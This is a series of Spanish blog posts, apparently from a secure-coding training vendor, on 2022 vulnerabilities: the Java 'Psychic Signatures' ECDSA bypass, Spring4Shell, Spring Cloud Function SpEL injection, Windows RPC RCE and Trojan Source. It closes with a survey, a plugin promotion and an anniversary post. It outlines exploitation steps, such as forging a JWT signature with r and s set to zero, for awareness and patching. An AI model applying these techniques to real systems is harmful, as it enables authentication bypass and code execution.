El 19 de abril de 2022, Neil Madden reveló una vulnerabilidad en Oracle Java 15 a 18, y OpenJDK 15, 17 y 18. La vulnerabilidad reside en la criptografía de las firmas ECDSA, lo que permite a un atacante saltarse por completo las comprobaciones de las firmas. 

Es fácil ver los titulares sobre esta vulnerabilidad y pasarlos por alto dada la naturaleza oscura de las firmas ECDSA. Sin embargo, las firmas ECDSA desempeñan un papel clave en la protección de los sistemas en Internet para tareas críticas como la autenticación.

Antes de entrar en detalles, si quieres experimentar cómo los hackers explotan las firmas psíquicas de forma práctica. Entra directamente en nuestro laboratorio gratuito - Missions para probarlo tú mismo.

¿Cuál es el problema con ECDSA?

Puede que no haya oído hablar antes de ECDSA. Es la abreviatura de Algoritmo de Firma Digital de Curva Elíptica, que es un tipo de criptografía que hace uso de las propiedades matemáticas de las curvas elípticas, ofreciendo una de las mayores seguridades criptográficas de la industria en este momento.

Esto significa que se utiliza para un montón de funciones importantes, como:

• La firma de certificados SSL
• Apretones de manos durante las comunicaciones cifradas
• SAML
• Firmas JWT
• Firmas de OpenID Connect

Esto significa que ECDSA es una parte clave de muchas de las funciones más sensibles para la protección de sistemas que existen. La capacidad de eludir las comprobaciones de firmas sería potencialmente bastante devastadora.

¿Cómo se explota la vulnerabilidad?

Las matemáticas de ECDSA son algo complicadas, por desgracia. Pero lo fundamental es saber que una firma ECDSA contiene 2 datos: r, y s. 

Estos números se utilizan para calcular la validez de la firma. El valor r es el "resultado" (lado izquierdo) de un cálculo que utiliza tanto r como s en el lado derecho de la ecuación. Dado que multiplicar por 0 es una mala idea, la especificación ECDSA señala explícitamente que si el valor de r o s es alguna vez 0, deben descartarse. 

Pero la implementación de ECDSA en Java se olvidó de tener esto en cuenta. Por lo tanto, aceptará una firma en la que tanto r como s sean 0, lo que siempre será cierto. Podemos demostrar esto con un ejemplo de un JWT, mostrando lo fácil que es. Usando https://token.dev/, podemos generar un token con el algoritmo ES256, similar al que generaría una aplicación:

Recordemos que un JWT se divide en 3 partes:

• Cabecera (en azul)
• Carga útil (en verde)
• Firma (en rojo)

Ahora bien, si quisiéramos eludir la comprobación de la firma, ¿cómo lo haríamos? La firma especifica los valores de r y s, y está codificada en formato DER. 

Vamos a cambiar nuestro JWT para utilizar esta nueva firma. Ten en cuenta que en los JWT no se incluye el signo de igualdad.

Ahora, nuestra firma tiene r y s establecidas en 0, y en las versiones vulnerables de Java la comprobación de la firma tendrá éxito para cualquier carga útil que se especifique. 

¿A quién afecta y cómo mitigarlo?

La vulnerabilidad afecta tanto a Oracle Java como a OpenJDK. Estos incluyen:

Oracle Java SE (Y versiones anteriores no soportadas): 

• 18

• 17.0.2

Oracle GraalVM Enterprise Edition: 

• 22.0.0.2
• 21.3.1

OpenJDK:

• 18
• 17.0.2
• 15.0.6
• 13.0.10
• 11.0.14
• 8u322
• 7u331

Tanto Oracle como OpenJDK han publicado avisos y parches para el problema que pueden aplicarse de inmediato. 

Prácticas para defenderse de esta vulnerabilidad

Aquí en Secure Code Warrior, nos esforzamos por proporcionar a los desarrolladores la información más relevante y ejercicios prácticos para las vulnerabilidades críticas, ya sea una más reciente como Psychic Signatures o algo que ha existido durante años.

Creemos que, para mantener realmente el riesgo a raya, es necesario permitir a los desarrolladores entender el mecanismo de defensa y escribir código seguro desde el principio. Por eso creamos un recorrido paso a paso de esta vulnerabilidad (y muchas otras) para ti y los equipos que se ven afectados. 

En el tutorial, podrás seguir las instrucciones para explotar la Firma Física en JWTs y ver el impacto en una aplicación que funciona en tiempo real.

Pruébalo ahora.

‍

Cuando se trata de la seguridad y la protección de sus datos, es fundamental responder rápidamente a los últimos acontecimientos. Al fin y al cabo, los hackeos y las amenazas pueden llegar en cualquier momento, por lo que es importante mantenerse alerta. En Secure Code Warriornos esforzamos por ofrecerle información actualizada sobre las últimas vulnerabilidades, los pasos a seguir para mitigar el riesgo y cómo proteger a sus usuarios. Al igual que con los recientes anuncios para ayudarle con las vulnerabilidades de la biblioteca de Spring, estamos aquí para discutir 2 vulnerabilidades recién descubiertas. 

Hoy nos centramos en 2 nuevas vulnerabilidades: primero el Server Message Block de Microsoft conocido como "Windows RPC RCE" y segundo, NGINX conocido como "LDAP Reference Implementation".

Siga leyendo para saber lo que sabemos hasta ahora sobre estas vulnerabilidades y lo que puede hacer para mitigar su riesgo. 

Microsoft Windows RPC RCE - CVE-2022-26809

Durante el martes de parches de abril, Microsoft reveló una vulnerabilidad en su funcionalidad de bloque de mensajes de servidor (SMB), específicamente la parte que maneja las RPC. Puede que esto le resulte familiar, ya que la vulnerabilidad es similar a la CVE-2003-0352, una explotación utilizada por el gusano blaster en 2003. 

¿Cuál es el nivel de riesgo y la probabilidad de explotación?

El aviso de Microsoft ha indicado que la "Complejidad del ataque" es "Baja", y ha evaluado el riesgo de explotación como "Explotación más probable", el nivel más alto en ausencia de explotación probada en la naturaleza. 

Actualmente, no se conocen explotaciones, pero debido a la baja complejidad del ataque y a la explotación "más probable" assessment, existe la preocupación de que los actores maliciosos puedan aprovecharse rápida y fácilmente a través de los ataques Blaster.  

Los investigadores han identificado un gran número de hosts en la Internet pública con el puerto 139/445 accesible, lo cual es bastante preocupante si se produjera una exploración a gran escala. 

¿Qué medidas deben tomar los usuarios para mitigar el riesgo?

Por suerte, mitigar el riesgo de ser explotado por esta vulnerabilidad es relativamente fácil. 

1. Asegúrese de bloquear el acceso al puerto 139 y 445 desde Internet y, cuando el acceso sea necesario, limítelo únicamente al acceso interno. Puede encontrar más detalles en la documentación de Microsoft aquí. 
2. Aplique los parches publicados por Microsoft el 12 de abril de 2022.

NGINX - Implementación de referencia LDAP RCE

NGINX reveló el 11 de abril de 2022 una nueva vulnerabilidad conocida como "LDAP Reference Implementation RCE" que permite la ejecución remota de código (RCE) en el sistema.

¿Cuál es la vulnerabilidad?

Esta vulnerabilidad es única porque no afecta a un código destinado a ser utilizado en producción o en sistemas comúnmente sensibles. Más bien, como la "implementación de referencia" en el nombre indica, el propósito del código es demostrar cómo la integración de LDAP puede funcionar en una configuración de NGINX.

¿Quién está en riesgo y qué debe hacer para proteger su código?

Afortunadamente, NGINX no es vulnerable por defecto. El riesgo principal es cuando se instala la extensión LDAP. Incluso en ese caso, es necesario que se den otras muchas condiciones para que la vulnerabilidad sea explotable. Una acción que recomendamos tomar es que si usas la implementación de referencia, asegúrate de cambiar a usar una implementación lista para producción. 

Para conocer todos los detalles, consulte la divulgación de NGINX.

¿Se siente expuesto por su vulnerabilidad? Podemos ayudarle.

Desde el RCE de Windows RPC de hoy y el RCE de NGINX - LDAP Reference Implementation hasta las vulnerabilidades de Spring del mes pasado, está claro que las vulnerabilidades de software están siempre presentes. 

La mayoría de las empresas se centran en estrategias de respuesta rápida para mitigar el riesgo para el código y los clientes, pero eso tiene un enfoque reactivo que, si bien es importante, puede dejarlo en riesgo. Creemos que una estrategia proactiva para construir un código seguro, capacitar a sus desarrolladores y crear una cultura centrada en la seguridad es la mejor manera de protegerse contra las amenazas. 

Si se hace hincapié en la seguridad impulsada por los desarrolladores al principio del ciclo de vida del desarrollo de software, se conseguirá una mayor protección, una implantación más eficaz del código y un ahorro de tiempo y dinero.

Secure Code Warrior está aquí para ayudar con nuestra plataforma de formación única que va desde el contenido educativo hasta las aplicaciones prácticas de las nuevas habilidades que su equipo está aprendiendo.  

Descubra cómo Secure Code Warrior learning platform puede ayudar a formar a sus desarrolladores en codificación segura.

‍

‍

Recientemente, las librerías Spring, una de las librerías más populares en la comunidad Java, revelaron 2 vulnerabilidades relacionadas con la Ejecución Remota de Código (RCE). Para facilitarte la comprensión de si estás en riesgo de alguna de las dos vulnerabilidades y qué acciones tomar, hemos desglosado los detalles conocidos de "Spring4Shell" y "Spring Cloud Function".

Vulnerabilidad 1 - "Spring4Shell" (CVE-2022-22965)

El 29 de marzo de 2022, la comunidad descubrió una serie de tweets que contenían capturas de pantalla de una prueba de concepto de un exploit dirigido a Spring Core (SC) , que permite la ejecución remota de código para todas las versiones de Spring Core, incluida la versión más reciente, 5.3.17.

¿Qué aplicaciones están en peligro?

Actualmente, se ha confirmado que sólo las aplicaciones alojadas en Tomcat están en riesgo de sufrir este nuevo exploit. Aunque no se ha demostrado que el exploit tenga éxito contra el contenedor de servlets Embedded Tomcat, o cualquier otra aplicación no alojada en Tomcat, esto no descarta la posibilidad de que la amenaza tenga éxito en el futuro en estos marcos. 

Spring ha publicado un comunicado oficial sobre la vulnerabilidad, en el que se aclara que se deben cumplir las siguientes condiciones para ser vulnerable, según el conocimiento actual de la vulnerabilidad:

• JDK 9 o superior
• Apache Tomcat como contenedor de Servlets
• Empaquetado como un WAR tradicional (en contraste con un jar ejecutable de Spring Boot)
• dependencia de spring-webmvc o spring-webflux
• Versiones de Spring Framework de la 5.3.0 a la 5.3.17, de la 5.2.0 a la 5.2.19 y versiones anteriores

¿Cómo funciona la explotación de "Spring4Shell"?

La explotación se basa en el uso de "Data Binding" (org.springframework.web.bind.WebDataBinder) en peticiones que hacen uso de Plain Old Java Objects (POJO) en la firma del método:

Donde la clase Foo es una clase POJO, que podría definirse como lo siguiente. Tenga en cuenta que la clase real no es importante, siempre y cuando sea cargada por el cargador de clases. 

Cuando una solicitud es manejada por un método como este, el Cargador de Clases es usado para resolver la clase. El cargador de clases es responsable de cargar las clases en tiempo de ejecución, sin tener que precargar primero todos los tipos posibles en la memoria. Averigua qué archivo .jar debe cargarse cuando se utiliza una nueva clase. 

Puedes encontrar la información más actualizada y detallada sobre esta vulnerabilidad directamente desde Spring en su blogpost, incluyendo posibles correcciones o soluciones.

Vulnerabilidad 2 - Función de Spring Cloud (CVE-2022-22963)

El 27 de marzo de 2022, Cyber Kendra reveló detalles sobre una vulnerabilidad de 0 días de ejecución remota de código (RCE) en las funciones de Spring Cloud para la que no existía ningún parche. A la vulnerabilidad se le asignó el ID CVE-2022-22963: Spring Expression Resource Access Vulnerability.

¿Qué aplicaciones están en peligro?

La vulnerabilidad afectaba a las aplicaciones en estas condiciones:

• JDK 9 o más reciente
• Funciones de Spring Cloud versión 3.1.6 (o inferior), 3.2.2 (o inferior), o cualquier versión no compatible 

¿Cómo funciona la explotación?

Spring Cloud Function proporciona la capacidad para que los desarrolladores configuren cómo se maneja el enrutamiento a través de la propiedad spring.cloud.function.routing-expression, normalmente realizada a través de la configuración, o del código. Se trata de una potente capacidad que acepta el "Lenguaje de Expresión de Spring" (SpEL). A través de esta vulnerabilidad de día 0, hemos aprendido que esta propiedad podría establecerse a través de las cabeceras HTTP de una solicitud, lo que significa que un atacante podría incrustar código SpEL directamente en su solicitud HTTP a un punto final RoutingFunction, y así ejecutar código arbitrario. 

¿Qué medidas deben tomar los usuarios para mitigar el riesgo?

Spring ha lanzado las versiones 3.1.7 y 3.2.3 para solucionar este problema al no permitir que esta propiedad se establezca a través de las cabeceras HTTP, mitigando la vulnerabilidad. Después de actualizar a cualquiera de las dos versiones, no es necesario realizar ningún paso adicional.

¿Está interesado en saber más sobre cómo ayudamos a los desarrolladores a escribir un código más seguro? Reserve una demostración o explore nuestras directrices de codificación segura gratuitas en secure code coach.

‍

Fuentes

• https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
• https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/

‍

El creciente número de ataques a la ciberseguridad, así como su mayor sofisticación, ha impulsado el cambio en todos los sectores e industrias del mundo. Todo el mundo está tratando de "cambiar a la izquierda", introduciendo la seguridad en todos sus procesos y procedimientos lo antes posible. La situación ha fomentado incluso movimientos totalmente nuevos destinados a mejorar las ciberdefensas , como el DevSecOps, en el que la seguridad se incorpora al propio tejido de la creación de nuevos programas y aplicaciones. 

Muchos de estos cambios están llegando a los pies de la comunidad de desarrolladores. Dado que son ellos quienes crean, escriben y codifican los nuevos programas y aplicaciones, pedirles que adopten prácticas de codificación más seguras parece una gran idea. Al fin y al cabo, no se puede cambiar más a la izquierda que cuando se crean las nuevas aplicaciones.

Pero, ¿qué opina la comunidad de desarrolladores de esta responsabilidad? Tradicionalmente se les ha evaluado casi exclusivamente en función de la rapidez con la que podían codificar, pero ¿qué piensan ahora los desarrolladores sobre su nuevo papel como defensores de la seguridad? ¿Y sienten que la dirección de sus empresas apoya estos esfuerzos con una formación de calidad, mejores recompensas y el reconocimiento que merecen por asumir esta nueva responsabilidad crítica?

Por segundo año, nos asociamos con Evans Data Corp. para llevar a cabo una encuesta exhaustiva de la comunidad global de desarrolladores en relación con las habilidades, percepciones y comportamientos cuando se trata de prácticas de codificación segura, y su impacto y relevancia percibidos en el ciclo de vida de desarrollo de software (SDLC). Los resultados fueron bastante sorprendentes en muchos aspectos.

Encuesta sobre el estado de la seguridad impulsada por los desarrolladores en 2022  

La encuesta Secure Code Warrior State of Developer-Driven Security Survey fue realizada por Evans Data Corp en diciembre de 2021. Se formularon preguntas sobre la codificación del software, la concienciación sobre la seguridad, la formación, el apoyo, las motivaciones y otras cuestiones a 1.200 desarrolladores de software activos que trabajan en la región de Asia-Pacífico, Europa y Norteamérica. La encuesta se realizó en inglés y se tradujo cuando fue necesario para obtener una perspectiva global precisa. Entre los encuestados se encontraban desarrolladores que están creando nuevas aplicaciones, así como directivos de la comunidad de desarrolladores.

Algunos hallazgos sorprendentes

Ellunes 11 de abril se publicará un libro blanco detallado (Los retos (y oportunidades) para mejorar la seguridad del software) y un informe (El estado de la seguridad impulsada por los desarrolladores, 2022) que profundiza en todos los aspectos de la encuesta. El libro blanco incluye nuestro análisis de las conclusiones y las preocupaciones planteadas por la comunidad en relación con las prácticas de codificación segura, con recomendaciones para que las organizaciones capaciten a los equipos de desarrolladores para mejorar la seguridad del software. 

Es probable que algunos de estos retos planteen preguntas a cualquier persona que trabaje con desarrolladores en sus organizaciones, así como a aquellos que están dentro de la propia comunidad de desarrolladores; ciertamente lo hicieron para nosotros. 

Por ejemplo, sólo el 14% de los encuestados considera que la seguridad de las aplicaciones es una de las principales prioridades en la actualidad. En cambio, las métricas más tradicionales, como el rendimiento de las aplicaciones y la priorización de las características y la funcionalidad, siguen siendo su objetivo general.

La seguridad tenía tan poca prioridad que el 67% de los desarrolladores encuestados admitieron que dejaban habitualmente vulnerabilidades y exploits conocidos en su código. Lo hacían bien por los ajustados plazos, por dar prioridad a la funcionalidad sobre la seguridad, o porque simplemente no tenían la formación o los conocimientos necesarios sobre cómo solucionar los problemas de seguridad.

En muchos casos, los desarrolladores afirmaron que sus organizaciones no definían lo que constituía un código seguro y no proporcionaban la formación o el apoyo adecuados para cambiar esa situación.

Sin embargo, a pesar de algunos de los resultados negativos, también quedó claro que las actitudes están cambiando. Una gran mayoría de los desarrolladores (66%) espera que la seguridad se convierta en una prioridad en los próximos 12 a 18 meses, mientras que el 82% de los directores de contratación que participaron en la encuesta expresaron su interés en contratar a desarrolladores que conocieran la seguridad frente a los que no.

Aunque de los resultados de la encuesta se desprende que la comunidad de desarrolladores y las organizaciones con las que trabajan se enfrentan a una gran cantidad de cambios, los planes para el futuro próximo y a largo plazo, afortunadamente, también están tomando forma rápidamente.

Esté atento al libro blanco y al informe que detalla los resultados completos de la encuesta, así como a los comentarios de los expertos sobre los retos que plantean las prácticas actuales de codificación segura y las oportunidades que las organizaciones pueden aprovechar para mejorar las habilidades de seguridad de los desarrolladores y, en última instancia, la seguridad del software.

Consulte las páginas del Secure Code Warrior para obtener más información sobre la ciberseguridad, el panorama cada vez más peligroso de las amenazas, y para saber cómo puede emplear tecnología innovadora y formación para proteger mejor a su organización y a sus clientes.

‍

A principios de noviembre, la Universidad de Cambridge publicó su investigación llamada Trojan-Source. Esta investigación se centraba en cómo se pueden ocultar puertas traseras en el código fuente y en los comentarios, utilizando caracteres de formato direccional. Éstos pueden utilizarse para elaborar código cuya lógica es interpretada por el compilador de forma diferente a la de un revisor de código humano.

Esta vulnerabilidad es nueva, aunque Unicode se ha utilizado de forma nefasta en el pasado, como por ejemplo ocultando la verdadera extensión de un archivo invirtiendo la dirección de la última parte de un nombre de archivo. La reciente investigación reveló que muchos compiladores ignoran los caracteres Unicode en el código fuente sin avisar, mientras que los editores de texto, incluidos los editores de código, pueden reflotar las líneas que contienen comentarios y código basados en ellos. Por lo tanto, el editor puede mostrar el código y los comentarios de forma diferente, y en un orden distinto, de cómo lo analizará el compilador, incluso intercambiando el código y los comentarios.

Sigue leyendo para saber más. O si quieres arremangarte y probar el hackeo simulado de Trojan Source, entra en nuestra misión pública y gratuita para experimentarlo por ti mismo.

Texto bidireccional

Uno de estos ataques de origen troyano hace uso del algoritmo Unicode Bidi (bidireccional), que maneja la forma de agrupar texto con un orden de visualización diferente, como el inglés (de izquierda a derecha) y el árabe (de derecha a izquierda). Los caracteres de formato direccional pueden utilizarse para reorganizar la agrupación y mostrar el orden de los caracteres.

La tabla anterior contiene algunos de los caracteres de anulación de Bidi relevantes para el ataque. Por ejemplo,

RLI e d o c PDI

La abreviatura RLI significa Right-to-Left Isolate. Aislará el texto de su contexto (delimitado por PDI, Pop-Directional-Isolate), y lo leerá de derecha a izquierda. El resultado es:

c o d e

Sin embargo, los compiladores e intérpretes no suelen procesar los caracteres de control de formato, incluidos los Bidi, antes de analizar el código fuente. Si simplemente ignoran los caracteres de formato direccional, los analizarán:

e d o c

¿Vino viejo en botellas nuevas?

Por supuesto, esto no es nada nuevo bajo el sol. En el pasado, se han insertado caracteres de formato direccional en los nombres de archivos para disfrazar su naturaleza maliciosa. Un archivo adjunto de correo electrónico mostrado como "myspecialexe.doc" podría parecer bastante inocente, si no fuera por el carácter RLO(Right-to-Left override) presente que revela que el nombre real es "myspecialcod.exe".

El ataque Trojan Source inserta caracteres de formato direccional en los comentarios y cadenas presentes en el código fuente, ya que estos no generan ningún error de sintaxis o de compilación. Estos caracteres de control cambian el orden de visualización de la lógica del código haciendo que el compilador lea algo totalmente diferente a lo que haría un humano.

Por ejemplo, un archivo que contenga los siguientes bytes en este orden:

se reordenará de la siguiente manera por los caracteres de formato direccional

lo que hace que el código se muestre así si los caracteres de formato direccional no se llaman explícitamente:

La RLO cambia la llave de cierre por una llave de apertura, y viceversa en la última línea. El resultado de ejecutar este código sería: "Usted es un administrador". La comprobación de admin fue comentada, sin embargo los caracteres de control dan la impresión de que todavía está presente. 

(Fuente: https://github.com/nickboucher/trojan-source/blob/main/C%23/commenting-out.csx)

¿Cómo puede afectarle esto?

Muchos lenguajes son vulnerables al ataque: C, C++, C#, JavaScript, Java, Rust, Go y Python, y se supone que hay más. Ahora bien, el desarrollador medio podría fruncir el ceño al ver caracteres de formato direccional en el código fuente, pero un novato podría encogerse de hombros y no pensar en ello. Además, la visualización de estos caracteres depende en gran medida del IDE, por lo que nunca es una garantía de que sean detectados.

Pero, ¿cómo pudo colarse esta vulnerabilidad en el código fuente en primer lugar? En primer lugar, esto puede ocurrir cuando se utiliza el código fuente de fuentes poco fiables, donde las contribuciones de código malicioso han pasado desapercibidas. En segundo lugar, podría ocurrir por un simple copiar y pegar del código encontrado en Internet, algo que la mayoría de los desarrolladores hemos hecho antes. La mayoría de las organizaciones dependen de componentes de software de múltiples proveedores. Esto plantea la cuestión de hasta qué punto podemos confiar plenamente en este código. ¿Cómo podemos detectar el código fuente que contiene puertas traseras ocultas?

¿De quién es el problema?

Por un lado, los compiladores y los pipelines de compilación deberían no permitir líneas de código fuente con más de una dirección, a menos que una dirección esté estrictamente limitada a cadenas y comentarios. Tenga en cuenta que un carácter de formato direccional en una cadena o comentario puede, si no se salta, extender un cambio de dirección hasta el final de la línea. En general, los editores de código deberían representar y resaltar explícitamente los caracteres Unicode sospechosos, como los homoglifos y los caracteres de formato direccional. Desde noviembre, GitHub añade una señal y un mensaje de advertencia a cada línea de código que contenga texto unicode bidireccional, aunque no resalta en qué parte de la línea se encuentran estos caracteres. Esto todavía puede permitir que se cuelen cambios de dirección maliciosos junto con cambios de dirección benignos.

La concienciación de los desarrolladores y revisores de código es esencial, por lo que hemos creado un recorrido que ilustra la vulnerabilidad. Actualmente esta guía está disponible para Java, C#, Python, GO y PHP.

Así que si quieres saber más, prueba nuestra simulación (pública missions) de Trojan Source, y lee la investigación de Trojan Source.

Simulación en Java

Simulación en C#

Simulación en PHP

Simulación en GO

Simulación en Python

Sea un desarrollador Java más productivo

Con 9 millones de desarrolladores en todo el mundo*, Java (Oracle Corporation) es uno de los lenguajes de programación más populares del mundo. Se han creado muchos marcos de aplicación sobre Java porque es un lenguaje muy versátil que puede ejecutar programas en muchos dispositivos diferentes que admiten Java Runtime Environment (JRE), un entorno en el que se ejecutan todos los programas Java. Las comunidades de desarrolladores son muy activas y el profundo apoyo disponible para los nuevos programadores contribuye a su creciente popularidad.

Dado que Java existe desde hace mucho tiempo, las comunidades han pasado años desarrollando estándares, herramientas, patrones de codificación y mitigando los errores comunes a los que los desarrolladores se enfrentan una y otra vez. Todas estas iniciativas dirigidas por la comunidad tienen un objetivo común: ayudar a los desarrolladores a ser lo más productivos posible cuando desarrollan aplicaciones con Java. Pero cuando se trata de aplicar las mejores prácticas o patrones en el código de las aplicaciones, la responsabilidad recae en el desarrollador. La aplicación de las buenas prácticas es bastante variada y, por tanto, hace difícil tener un enfoque estándar para una práctica de codificación cuando las opiniones difieren mucho dentro de las comunidades. Los desarrolladores recurren a la búsqueda de ayuda en las comunidades online, que a veces pueden, sin quererlo, dar soluciones inseguras a sus problemas de codificación.

Para ayudar a los desarrolladores a poner en práctica soluciones seguras a los problemas comunes de codificación de Java, hemos creado Sensei - un plugin de IntelliJ para corregir los malos patrones de codificación según la receta (o reglas) definida por usted o su organización en un entorno profesional. Sensei permite a los desarrolladores identificar y corregir los errores comunes de Java (gotchas) con un solo clic.

Continúe leyendo para saber cómo Sensei aumenta la productividad de los desarrolladores al resolver algunos errores comunes de codificación de Java.

Un error recurrente que frustra a los desarrolladores

Un ejemplo de esos errores comunes es la comprobación incorrecta de la igualdad de los valores de las envolturas. Los valores de las primitivas en caja deben compararse utilizando el método equals en lugar del operador de comparación de referencias (==) para evitar resultados inesperados.

Como ejemplo, el uso del operador de comparación de referencia para valores enteros en el rango -128 a 127 se comportará (normalmente) igual que el método equals. Sin embargo, si realizamos la misma comparación con valores fuera de este rango, los resultados serán diferentes. Esto se debe a que Java mantiene un conjunto constante para el mencionado rango de valores Integer. Utilizar el método equals siempre dará los resultados esperados y es, por tanto, la forma correcta de comparar.

En este ejemplo, estamos utilizando incorrectamente el operador (==) para comprobar la igualdad.

Lo que da como resultado la siguiente salida:

verdadero

falso

falso

verdadero

La forma correcta de comparar es utilizar el método de los iguales.

Y entonces la salida sería:

verdadero

falso

verdadero

falso

Esta conocida práctica recomendada existe desde hace bastante tiempo y, sin embargo, a menudo se implementa de forma incorrecta en el código heredado, esperando a levantar su fea cabeza en el momento más inoportuno. Así que hemos creado recetas (o reglas) que ayudan a identificar estos patrones de codificación indeseables a nivel local y aplicar una corrección con un solo clic utilizando Sensei.

Sensei es un complemento del IDE altamente personalizable para escanear y corregir el código indeseable mientras se escribe, con cientos de transformaciones de código descargables y recetas de migración (reglas), así como una capacidad incorporada para crear las propias. Con Sensei, los desarrolladores pueden corregir los malos patrones de código mientras escriben para poder ofrecer un código de calidad más rápido y, en última instancia, escribirlo de forma coherente y estándar en todos los equipos y proyectos.

Cómo Sensei soluciona los problemas más comunes de Java

Como Sensei le permite crear sus propias recetas, hemos creado una receta para corregir el error mencionado.

Para este ejemplo, queremos encontrar dónde estamos utilizando el operador de comparación (==) en el tipo primitivo de caja.

Una receta de Sensei tiene el siguiente aspecto (en YAML):

Lo anterior puede buscar el patrón erróneo recurrente a medida que se escribe o todo el archivo, el ámbito configurado, e incluso, la base de código completa. Una vez que se encuentra el patrón, el siguiente paso natural es poder arreglarlo al instante sin tener que buscar en línea. Sensei permite crear arreglos que pueden añadir/editar/borrar código según se especifique. Incluso puede proporcionar múltiples correcciones según lo considere oportuno, permitiendo a los desarrolladores elegir la corrección más adecuada según lo consideren oportuno.

En nuestro ejemplo, queremos reescribir la comparación utilizando el método equals en lugar del operador (==).

Un arreglo disponible se describe así:

Cómo funciona:

Aplicación de las directrices de codificación estándar de forma sencilla

Java Gotchas Cookbook tiene 22 recetas que le ayudarán a evitar los errores más comunes y a mantener su código limpio y seguro. Detecta el uso incorrecto o inseguro de varias características y API del lenguaje Java, como la igualdad de objetos, el manejo de excepciones, las expresiones regulares y las colecciones. Adoptando Sensei y este libro de cocina, puede empezar a escribir mejor código desde el principio e incluso, crear sus propias recetas para adaptarlas a su equipo, proyecto u organización.

Este es sólo un ejemplo de las muchas maneras en que Sensei puede utilizarse para estandarizar tus proyectos. Siempre puedes estar atento a los anti-patrones o a ciertas transformaciones manuales de código que te encuentras con frecuencia en los pull requests o mientras codificas tú mismo. Si tienes un conjunto de directrices de codificación que los desarrolladores suelen pasar por alto, podrías convertir las directrices en recetas, permitiendo a los desarrolladores aplicar transformaciones de código aprobadas con confianza.

Instale Sensei ahora y active el libro de cocina de Gotchas de Java para una experiencia de desarrollo productiva. https://sensei.securecodewarrior.com/cookbooks/scw:java

*2021, Estado de la Nación Desarrolladora, https://www.developernation.net/developer-reports/de20

‍

Hoy es nuestro séptimo cumpleaños, y aunque sea un cliché, no puedo creer lo rápido que ha pasado el tiempo. No parece que haya pasado tanto tiempo desde que celebramos nuestro primer gran cliente empresarial (que me presentó 50 páginas de términos legales que no tenía ni idea de cómo actuar), o que asistíamos a ferias comerciales como el nuevo chico del barrio con un logotipo de la "S" muy chulo, con un botín de mierda; Fatemah me sigue diciendo que las espadas hinchables fueron una mala decisión empresarial (que conste que sigo sin estar de acuerdo). 

Este ascenso de la empresa a la escala y a la empresa de alto crecimiento ha sido un ejercicio de aprendizaje rápido, de resistencia, de no preocuparse por los imitadores y de no tener miedo de experimentar y apostar por nosotros mismos. Hemos sentido la fuerza de los desafíos globales junto con todos los demás, y aunque ciertamente han forjado el carácter de la empresa, sigo estando orgulloso de cómo seguimos adaptándonos y ayudando a nuestros clientes a dar forma a los elementos de sus programas de seguridad impulsados por los desarrolladores.

Nuestros hitos de cumpleaños son un maravilloso recordatorio para reflexionar sobre los frutos de nuestro trabajo, celebrar el equipo y afrontar el año que viene con confianza. Y ahora, siete años después de su creación, me pregunto: ¿Lo hemos conseguido? ¿Es ésta una empresa de verdad? Por supuesto, hemos alcanzado la madurez, pero espero que nunca perdamos el sentido de la curiosidad, la pasión y el fanatismo que hemos tenido desde el principio.

¿Qué hemos hecho el año pasado?

300.000 desarrolladores han participado en nuestra plataforma

La idea de que 300.000 desarrolladores participen en el proyecto Secure Code Warrior Learning Platform es muy motivador, no sólo porque es genial ver que la comunidad de desarrolladores adopta nuestra oferta, sino porque habla de un cambio mayor en el sentimiento de la industria hacia la seguridad preventiva, con los ingenieros en el asiento del palco para marcar la diferencia.

La capacitación de los desarrolladores y su compromiso con la seguridad son vitales en la lucha contra las vulnerabilidades comunes, y espero ver otro cero en ese número de usuarios más pronto que tarde. Nos hemos dedicado (y nos dedicamos) a ofrecer una experiencia de aprendizaje holística y en andamiaje que genere habilidades y concienciación duraderas, y que sea lo suficientemente dinámica como para adaptarse a las necesidades de las empresas y al panorama de las amenazas. Sin embargo, tenemos un largo camino por delante... hay más de 20 millones de desarrolladores, que crecen rápidamente cada año.

Entramos en el Salón de la Innovación2021 de JPMorgan Chase & Co.

Estamos encantados de recibir el reconocimiento de nuestro antiguo cliente, JPMorgan Chase, por el importante impacto empresarial que hemos tenido en su equipo de ingenieros en materia de codificación segura. Ayudar a una organización tan enorme en su entrega de software seguro y de alta calidad a sus clientes e inversores ha sido uno de los aspectos más destacados no solo del año pasado, sino de su permanencia como clientes.

Nuestras primeras Devolimpiadas anuales fueron un éxito rotundo

Llevamos un tiempo con la idea de una codificación segura global en línea tournament y, durante el Mes de la Concienciación sobre la Ciberseguridad, le hemos dado vida en forma de nuestras primeras Devlympics. 

Una celebración de 14 horas de desarrolladores expertos en seguridad compitiendo por premios épicos, así como comentarios y presentaciones de expertos en seguridad de Allianz, Atlassian, Contrast Security, Datacom y Sonatype, por nombrar algunos, fue una forma brillante de involucrar a la comunidad y divertirse en el camino. El año que viene será más grande y mejor, así que estate atento a las inscripciones en la segunda mitad de 2022.

Llegamos a 450 clientes empresariales 

Se trata de un hito increíble se mire por donde se mire, y demuestra que muchas empresas de sectores verticales de gran alcance -desde los servicios financieros a la fabricación de automóviles, pasando por la confección o la agricultura- están adoptando medidas preventivas de ciberseguridad como parte de su estrategia, y la capacitación de los desarrolladores en codificación segura es un elemento clave. 

Contratamos a algunos líderes realmente impresionantes para llevarnos a nuevas alturas

Significa mucho para mí que podamos atraer el tipo de talento que no sólo nos nivela desde el punto de vista de las habilidades y la estrategia, sino que también ayuda a liderar e inspirar al resto de la empresa en el futuro demostrando que un equipo de gestión globalmente extendido y diverso puede hacer que las cosas sucedan.

En 2021 nombramos a Junie Dinda como Directora de Marketing. Como antigua vicepresidenta de marketing de los productos JIRA, Confluence y BitBucket de Atlassian, su profunda experiencia tecnológica y su trayectoria mundial la convierten en una brillante incorporación al equipo.

También hemos dado la bienvenida a la ex-Zendesk Erica Wass como nuestra nueva vicepresidenta de producto. Con su amplia experiencia en la conducción del liderazgo y la estrategia de productos para una serie de empresas tecnológicas exitosas -sin mencionar que recibió el reconocimiento como Mujer Líder en Producto en Australia en 2018- trae una pasión contagiosa por la tecnología y la innovación al equipo.

Fabio Gavilondo, nuestro vicepresidente de ingeniería, es otro fantástico líder y tecnólogo al que hemos dado la bienvenida al redil. Su experiencia en DevOps y en la comercialización de software del más alto nivel en empresas de todo el mundo son cualidades vitales en nuestro intento de superar las expectativas del sector. 

